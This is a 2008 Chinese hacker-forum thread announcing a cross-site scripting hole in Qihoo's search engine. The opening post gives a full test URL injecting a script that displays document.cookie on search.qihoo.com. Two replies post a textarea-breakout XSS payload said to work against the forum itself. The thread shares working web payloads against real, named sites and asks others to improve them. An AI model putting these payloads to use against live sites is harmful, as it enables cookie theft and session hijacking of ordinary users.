黑客X档案官方论坛 » 毒木成林 » 奇虎搜索也跨站

打印

[原创] 奇虎搜索也跨站

bk7477890

XIAOYY

正式版主

Rank: 9 Rank: 9 Rank: 9

黑客X档案官方论坛

帖子: 4542
精华: 1
威望: 106 度
金币: 9712 枚
性别: 男
来自: 西安
最后登录: 2008-12-2

发短消息
加为好友
当前离线

1^# 大中小发表于 2008-9-21 23:13 只看该作者

奇虎搜索也跨站

http://search.qihoo.com/
测试代码

复制内容到剪贴板

代码:

http://search.qihoo.com/usearch.html?site=xiaoyy.16f.cn&kw=%5C%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&ics=utf-8&ocs=utf-8&bbskw=&summary=0&stype=&count=30&fw=dz&SITEREFER=

等待牛人完善
谢谢

附件

s.jpg (30.8 KB)

2008-9-21 23:13

ss.jpg (51.04 KB)

2008-9-21 23:13

TOP

背时鬼

"></script><&

三年级

Rank: 3 Rank: 3 Rank: 3

帖子: 736
精华: 1
威望: 279 度
金币: 1509 枚
来自: 云南省昆明市中心
最后登录: 2008-12-2

发短消息
加为好友
当前离线

2^# 大中小发表于 2008-9-21 23:31 只看该作者

黑客X档案论坛的XSS我也找到了~代码是:
下面内容楼主可见.

[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

每当你参与一份调查,就可以获得1-10美元不等的调查佣金.

背时鬼

"></script><&

三年级

Rank: 3 Rank: 3 Rank: 3

帖子: 736
精华: 1
威望: 279 度
金币: 1509 枚
来自: 云南省昆明市中心
最后登录: 2008-12-2

发短消息
加为好友
当前离线

3^# 大中小发表于 2008-9-22 01:54 只看该作者

我后来跨了一下~

[img][/img]</textarea><Script>alert('text')< /Script><textarea>[img][/img]

TOP

‹‹ 上一主题 | 下一主题 ››

Processed in 0.067226 second(s), 6 queries, Gzip enabled